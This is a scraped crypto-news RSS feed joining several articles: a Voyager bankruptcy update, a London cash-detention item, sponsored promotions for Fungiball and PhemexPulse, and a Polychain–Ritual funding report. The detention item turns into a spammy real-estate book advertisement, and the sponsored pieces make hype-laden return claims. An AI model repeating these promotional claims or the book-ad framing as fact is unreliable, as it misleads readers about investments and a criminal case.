The saga took a dramatic turn in October 2023 when regulatory bodies accused former CEO Stephen Ehrlich of deceit. The allegations, posed by the Commodity Futures Trading Commission (CFTC), painted a grim picture of mismanagement. They claimed that Ehrlich’s actions precipitated the platform’s downfall, causing significant investor losses.

Read more: What Getting ‘Rekt’ Means: A Crypto Term Explained

Nonetheless, the bankruptcy team has showcased resilience. Beyond the FTX deal, the company has a substantial claim in the Three Arrows Capital litigation, totaling approximately $675 million. Of this, Voyager’s direct share is $20.43 million, illustrating the ongoing efforts to recuperate lost assets.

Moreover, the reinstatement of customer withdrawals in June 2023 marked a turning point. It allowed users to reclaim over $250 million within a month, reflecting a regained trust in Voyager’s operations.

The company anticipates further disbursements from asset liquidations and litigation settlements in the future. A notable mediation with D&O Insurance will contribute at least $14.35 million to the creditor compensation pool.

Operational challenges persist, notably with unclaimed funds. Voyager reports about 270,000 uncashed checks, totaling $17 million. Most are under $25. The firm has announced an April 20 deadline for claiming these funds, stressing the importance of timely action.

“I encourage all creditors to deposit any uncashed checks or request a check re-issuance, if necessary, prior to April 20, 2024. Any initial distribution checks that remain outstanding on April 20, 2024, will be canceled and deemed unclaimed,” Hage said.

The company’s journey is also marred by security concerns, highlighted by a significant data breach during its bankruptcy process. This breach exposed customer information, fueling worries about data security and privacy.

Read more: 9 Crypto Wallet Security Tips To Safeguard Your Assets

Voyager has since engaged experts to investigate the breach’s scope and origin.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/when-can-you-withdraw-funds/feed/ 0 Uncover the source : London police have detained a man with $663,000 in cash. https://coinsmeganews.com/uncover-the-source-london-police-have-detained-1-a-man-with-663000-in-cash/ https://coinsmeganews.com/uncover-the-source-london-police-have-detained-1-a-man-with-663000-in-cash/#respond Thu, 11 Apr 2024 22:17:00 +0000 https://coinsmeganews.com/?p=22251 Uncover the source : London police have detained a man with $663,000 in cash.

There is information as to how he earned such a large sum of money

London, In a surprising turn of events, the National Crime Agency (NCA) in London has apprehended an individual carrying a substantial sum of £663,000 in cash. The detention has sparked curiosity regarding the origins of such a substantial amount of money, as the individual reportedly provided limited information about the source of these funds.

Amid speculation and intrigue, a relevant resource that comes to mind is the book titled “The Book on Investing In Real Estate with No (and Low) Money Down: Creative Strategies for Investing in Real Estate Using Other People’s Money.” Penned by a prominent real estate expert, this book delves into innovative approaches to channeling limited financial resources into real estate investments.

The book’s author extensively elucidates diverse methods and strategies that empower investors to leverage other people’s funds for real estate transactions. These tactics may encompass forming partnerships with fellow investors, tapping into credit resources, and employing imaginative deal-making techniques.

Reading this book could serve as a pivotal step for those intrigued by real estate investment but constrained by their own financial capacities. It imparts practical advice and concrete examples on how to achieve success in the realm of real estate, even for those without substantial initial capital.

In the context of the enigmatic detention involving a large sum of cash, it becomes pertinent to explore creative avenues for investment, ones that might be illuminated by the insights offered in “The Book on Investing In Real Estate with No (and Low) Money Down.” This resource could be invaluable for those seeking to expand their horizons in the domains of investment and real estate.

If this book captures your interest and you desire further information, it can be acquired through various online book platforms or at your local bookstore. Embracing these innovative strategies might just be the key to unlocking a world of possibilities in the realm of wealth-building and investment.

As investigations into the detained individual’s funds continue, considering alternative approaches to generating and managing wealth, such as those explored in the book, could potentially shed light on how such a significant amount of money was amassed. The pages of “The Book on Investing In Real Estate with No (and Low) Money Down” might hold the inspiration and knowledge needed to unravel financial mysteries and embark on a path toward prosperity.

Intrigued readers are encouraged to delve into the world of creative real estate investment strategies by acquiring a copy of the book today. The insights within its pages could prove invaluable in demystifying unconventional wealth-building methods and provide a fresh perspective on generating financial success.

Order Now!

The Book on Investing In Real Estate with No (and Low) Money Down: Creative Strategies for Investing in Real Estate Using Other People’s Money

]]> https://coinsmeganews.com/uncover-the-source-london-police-have-detained-1-a-man-with-663000-in-cash/feed/ 0 Fungiball Revolutionizes Tennis with NFT-Powered P2E Gameplay https://coinsmeganews.com/fungiball-revolutionizes-tennis-with-nft-powered-p2e-gameplay/ https://coinsmeganews.com/fungiball-revolutionizes-tennis-with-nft-powered-p2e-gameplay/#respond Thu, 11 Apr 2024 05:36:52 +0000 https://coinsmeganews.com/fungiball-revolutionizes-tennis-with-nft-powered-p2e-gameplay/ [ad_1]

Editorial Note: The following content does not reflect the views or opinions of BeInCrypto. It is provided for informational purposes only and should not be interpreted as financial advice. Please conduct your own research before making any investment decisions.

By harnessing the power of cutting-edge blockchain technology, Fungiball brings an immersive Play-to-Earn (P2E) tennis game that cultivates an entire community of passionate tennis players and fans. 

In fact, due to its innovative concept and utility of non-fungible tokens (NFTs), Fungiball is able to revolutionize the way users interact and engage with tennis while also giving them the ability to earn tangible rewards.

What is Fungiball?

Tennis is a sport that is loved by millions around the globe. However, there has never been a way through which users can win rewards by utilizing the skills of their favorite tennis players in a video game. 

This is where Fungiball comes along, as it brings a unique concept in which users interconnect with the performance of their favorite professional tennis players with the value of NFT cards. 

In simple words, each NFT card on Fungiball represents a particular skill of a professional tennis player. To make it more engaging and real for users, the value of these NFT cards evolves depending upon the real-life tennis players’ performance on the court. 

In the end, on Fungiball, players compete against other players while utilizing the strengths and weaknesses of their favorite tennis player. This helps to build a community of passionate tennis players by making the game more dynamic and engaging. 

The Freedom of Creating Avatars

For players to partake in Fungiball tournaments and unlock numerous rewards, they must first create their game avatar, also known as “FungiPlayers.” 

Players are able to create their own virtual tennis player avatars by collecting digital cards that represent the real-life skills of over 250 male and female professional tennis players. 

What’s groundbreaking about Fungiball is that it has acquired all legal rights to showcase the names, images, and likenesses of all 250 tennis players. This comes after Fungiball formed a collaboration with the Professional Tennis Players Association (PTPA) and Winner Alliance, which is the commercial affiliate. 

To keep things interesting, player cards are divided into four different categories: Power, Service, Return, and Mental. In addition, there are three rarity levels: Silver, Gold, and Platinum. Both of these categories and rarity levels represent unique levels of prowess and desirability in the game. 

Once the avatar is completed, players have the freedom to participate in tournaments which also allows them to unlock different rewards. 

Fungiball offers an impressive lineup of online tournaments, which are often on par with the schedule of international tennis tournaments, as this helps to ensure each NFT linked to its player is evolving with the latest score of the player. 

However, it is worth noting that by missing out on tournaments, players may lose the unique strength that their NFT card may have achieved due to the real-life performance of the tennis player it is linked to. 

Fungiball offers prestigious major events and different types of master tournaments. These tournaments are divided into Challenger, Future, and Junior competitions, giving players a unique opportunity to participate in different types of thrilling tennis encounters. 

Once every tournament concludes, Fungiball players receive different rankings on the platform based on their performance. Additionally, players also receive converted prizes, including a financial reward in Ethereum, NFT cards, and Fungiball exclusive rewards that include tennis equipment, tickets, and much more, as they are tailored per tournament.

Fungiball Marketplace and Trading

The Fungiball Marketplace is a safe avenue for players to buy, sell, and trade NFT cards. Players can also place bids on different NFT cards, and once the bid ends, the highest bidder will get ownership of the particular rare NFT card. 

The Fungiball marketplace is built on the Ethereum blockchain, which is one of the most secure and transparent mediums of exchange in the blockchain industry.

Since the launch of Fungiball Marketplace in December 2023, more than 4200 NFT cards have been sold for a total of €140,000. In addition, more than 2500 people have registered on the platform, showcasing the growing trust of users. 

Overall, the marketplace empowers players by either allowing them to earn income from their avatar or by further enhancing their FungiPlayer avatar. Players can also expand their NFT card collection by making different purchases, ultimately allowing them to sell for a potential profit when the prices seem fit. 

To make it easier for players to remain aware of what’s happening in the marketplace, the Fungiball Trading Dashboard gives access to all necessary information. This includes the NFT cards with the highest sale within a given timeframe, the total number of sales, the average floor price, and a leadership board showcasing the top bidders, market makers, collectors, and whales. 

Utilizing Polygon Blockchain

Apart from the Ethereum blockchain, Fungiball also leverages the Polygon blockchain. As the Polygon blockchain is considered seamless, scalable, and secure, this helps enhance the experience of participants in the auction and other activities on the platform. 

Overall, with the implementation of blockchain technology, Fungiball can guarantee complete transparency, immutability, and traceability of its platform. As a result, players have full ownership and control of their NFT cards. This also helps empower users as they can gain monetary gain from something they are passionate about. 

Conclusion

In conclusion, with the ongoing development and expansion of the platform after gaining legal rights of over 250 professional tennis players, Fungiball players can expect a remarkable gaming experience. 

Not only that but as over 2,500 players have already registered on the platform, which has begun the sale of 4200 NFT Cards, it’s worth noting that Fungiball’s user base is growing. 

It comes as no surprise that Fungiball provides tennis enthusiasts a safe place to play and earn with the power of their favorite professional players, as each NFT card is evolving based on the player’s real-life performance. 

In addition, by leveraging the power of NFTs, Polygon and Ethereum blockchains, and P2E mechanics, Fungiball brings an entirely new era of immersive gameplay and rewards. 

Links: Website | Twitter | Discord | Instagram

Disclaimer

This article is sponsored content and does not represent the views or opinions of BeInCrypto. While we adhere to the Trust Project guidelines for unbiased and transparent reporting, this content is created by a third party and is intended for promotional purposes. Readers are advised to verify information independently and consult with a professional before making decisions based on this sponsored content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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]]> https://coinsmeganews.com/fungiball-revolutionizes-tennis-with-nft-powered-p2e-gameplay/feed/ 0 Crypto VC Polychain Capital joins Ritual as major investor https://coinsmeganews.com/crypto-vc-polychain-capital-joins-ritual-as-major-investor/ https://coinsmeganews.com/crypto-vc-polychain-capital-joins-ritual-as-major-investor/#respond Tue, 09 Apr 2024 17:08:02 +0000 https://coinsmeganews.com/crypto-vc-polychain-capital-joins-ritual-as-major-investor/ [ad_1]

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Polychain Capital, a prominent blockchain-focused venture capital firm, has made a significant investment in Ritual, an artificial intelligence (AI) platform aiming to decentralize AI systems. The undisclosed “multimillion-dollar” investment comes on top of Ritual’s $25 million funding round led by Archetype, Accomplice, and Robot Ventures in November.

Ritual’s mission is to address the centralized nature of AI systems and the growing concerns that Big Tech giants like Microsoft, Meta, and Alphabet will dominate the AI landscape, creating an oligarchy. By introducing decentralization into the storage of data and access to infrastructure, Ritual aims to provide a more open and collaborative environment for AI development.

“AI x Crypto represents one of the most exciting new areas for crypto technologists, with a near infinite design space for AI-enabled protocols to be built on top,” Ritual said in a blog post on the announcement.

The partnership between Ritual and Polychain Capital is built on a shared vision for accelerating the adoption of cryptocurrency and focusing on new technologies and their emergent use cases. Ritual’s technology includes a custom-built VM for AI operations and a decentralized oracle network called Infernet, which allows smart contracts to natively access AI models for various on-chain use cases and tasks.

BitMEX co-founder Arthur Hayes, who joined Ritual’s board of advisers in January, emphasized the need to “ensure the burgeoning AI economy has access to a more censorship-resistant, collaboration-powering technology than we currently have.”

Polychain Capital’s investment in Ritual comes at a time when AI has gained significant attention in the blockchain industry. Following the proliferation of AI-powered tools and their increased mainstream popularity over the last year, the collaboration between the two companies is positioned to enhance product development, expansion into new markets, and community growth.

Note: This article was produced with the assistance of AI, specifically Claude 3 Opus for text and OpenAI’s GPT-4 for images. The editor has extensively revised the content to adhere to journalism standards for objectivity and neutrality.

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The information on or accessed through this website is obtained from independent sources we believe to be accurate and reliable, but Decentral Media, Inc. makes no representation or warranty as to the timeliness, completeness, or accuracy of any information on or accessed through this website. Decentral Media, Inc. is not an investment advisor. We do not give personalized investment advice or other financial advice. The information on this website is subject to change without notice. Some or all of the information on this website may become outdated, or it may be or become incomplete or inaccurate. We may, but are not obligated to, update any outdated, incomplete, or inaccurate information.

Crypto Briefing may augment articles with AI-generated content created by Crypto Briefing’s own proprietary AI platform. We use AI as a tool to deliver fast, valuable and actionable information without losing the insight – and oversight – of experienced crypto natives. All AI augmented content is carefully reviewed, including for factural accuracy, by our editors and writers, and always draws from multiple primary and secondary sources when available to create our stories and articles.

You should never make an investment decision on an ICO, IEO, or other investment based on the information on this website, and you should never interpret or otherwise rely on any of the information on this website as investment advice. We strongly recommend that you consult a licensed investment advisor or other qualified financial professional if you are seeking investment advice on an ICO, IEO, or other investment. We do not accept compensation in any form for analyzing or reporting on any ICO, IEO, cryptocurrency, currency, tokenized sales, securities, or commodities.

See full terms and conditions.

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]]> https://coinsmeganews.com/crypto-vc-polychain-capital-joins-ritual-as-major-investor/feed/ 0 The Social Network That Pays for Your Engagement Online https://coinsmeganews.com/the-social-network-that-pays-for-your-engagement-online/ https://coinsmeganews.com/the-social-network-that-pays-for-your-engagement-online/#respond Tue, 09 Apr 2024 05:34:46 +0000 https://coinsmeganews.com/the-social-network-that-pays-for-your-engagement-online/ [ad_1]

Editorial Note: The following content does not reflect the views or opinions of BeInCrypto. It is provided for informational purposes only and should not be interpreted as financial advice. Please conduct your own research before making any investment decisions.

In the bustling realm of social media, users are spoilt for choice with myriad tools for interaction, particularly within the ever-vigilant crypto community.

Yet, amidst this digital chatter, a new player is changing the game. Phemex, recognized as a top 5 cryptocurrency exchange, has unveiled a social trading platform that’s more than just a place to exchange ideas—it’s a space where your engagement is rewarded with daily crypto incentives.

PhemexPulse has launched unveiling a substantial prize pool of 50 million Phemex Tokens (PT). As PT is the exchange’s native token with significant potential, PhemexPulse is poised to offer its users authentic benefits that distinguish it from conventional social trading platforms.

The new talk of the town, PhemexPulse is revolutionizing how time spent online can yield tangible benefits, and it’s already winning the hearts of users worldwide. If you haven’t already jumped on the PhemexPulse bandwagon, here’s a rundown for you to catch up and start turning your online routine into real rewards. 

Putting the emphasis back on the users 

Phemex recognizes the pivotal role that exchanges play in nurturing crypto communities as trusted partners and has long invested in maintaining a strong community. Last year, Phemex unveiled its Web 3.0 ecosystem and committed to shifting from a centralized to a hybrid exchange, effectively decentralizing its vital components to provide an even more transparent, inclusive, and united platform for its users.

The exchange launched the Phemex Token (PT) on November 2023, as well as its governance token, vePT, which can be earned by staking PT and will soon grant the members of its Web 3.0 ecosystem governance rights in PhemexDAO. 

Community engagement lies at the heart of Phemex’s mission, a fact underscored by the rapid growth of its Web 3.0 ecosystem, which has attracted over 30,000 users in a relatively short span. However, Phemex’s vision extends beyond these impressive numbers; they aim to cultivate a cohesive and active community of contributors.

Enter PhemexPulse: a social trading platform crafted to bring the crypto community together. It’s a space where traders can connect and leverage their digital footprint to generate revenue.

Empowering Web 3.0 builders through group ownership 

Phemex is calling upon the architects of Web 3.0 — the innovators, influencers, and thought leaders — to establish their communities within PhemexPulse, generously funded by the exchange. At its launch a few weeks back, aspiring community leaders were required to authenticate via Twitter (now referred to as X) and possess a minimum of 500 followers. However, acknowledging that true influence in the crypto sphere transcends mere follower counts, Phemex has broadened its criteria.

Now, individuals known for their roles as community builders, Web3 enthusiasts, content creators, or distinctive contributors to the ecosystem can also qualify to become group owners on PhemexPulse. This inclusive approach by the exchange paves the way for a wider spectrum of users to forge their circles and steer the discourse on PhemexPulse.

Join a group, engage, trade, and earn daily crypto rewards three times a day! 

To date, 167 groups have been formed on PhemexPulse. You might wonder, what happens within these groups, and how does participation translate to rewards? The process is straightforward, especially for the average crypto enthusiast accustomed to spending a significant amount of time online daily.

Content creators and influencers establish their communities, referred to as groups, on PhemexPulse, with the platform open for all users to join and participate. Within these groups, members exchange trading tips, share insights, and engage in ongoing conversations. This setup not only provides traders with the chance to connect with their favorite influencers but also to interact with like-minded crypto enthusiasts.

The benefits of PhemexPulse extend further; the platform incentivizes users with rewards for their daily engagement in the groups and through their various trading activities on Phemex. 

Phemex believes that traders can benefit from having a single platform that meets both their social and trading needs. With this vision in mind, the team has meticulously designed a system to incentivize user engagement on both PhemexPulse and the Phemex trading platform. The goal is to establish a unified hub for users’ trading and social interaction needs. The scoring mechanism is a testament to this goal, offering rewards for daily user activities and interactions. 

The PhemexPulse prize pool boasts an impressive 50 million PT (Phemex Tokens), with each round offering a generous distribution from this bounty. In the ongoing round, participants can claim their share of 9,000 PT daily. Engaging in the reward mechanism is a breeze, as it leverages familiar user experiences to ensure everyone has a fair shot at the prize.

On PhemexPulse, users can earn Reward Points by engaging with the community, referring new users, actively trading, and boosting their trade volume. In an exciting new development, Phemex has introduced Raffle Fuel points for this round, which can be acquired through the completion of advanced KYC, holding PSP, PT, and ve PT as well as net-making deposits on Phemex starting from March 1st. Engaging in these actions will enhance your chances of acquiring a greater amount of PT throughout the conversion process. While Raffle Fuel resets daily, Reward Points are retained until they are redeemed. 

The final allocation of your Phemex Token payout is determined by the ratio of your accumulated Reward Points and Raffle Fuel to the entire pool of available points. Since there are three payout opportunities every day from the 9,000 PT daily prize pool, consistent engagement can lead to triple winnings each day, maximizing the benefits you receive from the platform! 

More growth potential through Inscription Marketplace 

PhemexPulse extends its value beyond its rewarding system by featuring an inscription marketplace that caters to prominent figures in the cryptocurrency world, allowing them to offer their unique inscriptions. These ordinals, scarce by nature, have shown to be a boon for the growth of their owners’ investments. Crypto influencer Ben Armstrong was among the first to release his ordinals on PhemexPulse, and these exclusive items quickly proved to be highly beneficial for their holders.

Due to their limited availability and the active community engagement on the platform, the value of these ordinals skyrocketed by 7296% shortly after their release, with an initial minting price of just 1 PT. Maintaining this extraordinary trajectory, they reached an all-time high (ATH) of 400 PT, which translates to an astonishing growth from their original value. 

Phemex’s strategy is to craft a comprehensive ecosystem that merges the aspects of social media, trading functionalities, and digital collectibles. This approach is designed to meet the diverse needs of the cryptocurrency community. In addition to these features, Phemex is dedicated to offering genuine, substantial rewards, ensuring that the time users invest in the platform is converted into tangible value.

As PhemexPulse continues to evolve, it is expected to play a significant role in redefining how traders and cryptocurrency enthusiasts interact with the digital asset ecosystem.

Disclaimer

This article is sponsored content and does not represent the views or opinions of BeInCrypto. While we adhere to the Trust Project guidelines for unbiased and transparent reporting, this content is created by a third party and is intended for promotional purposes. Readers are advised to verify information independently and consult with a professional before making decisions based on this sponsored content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

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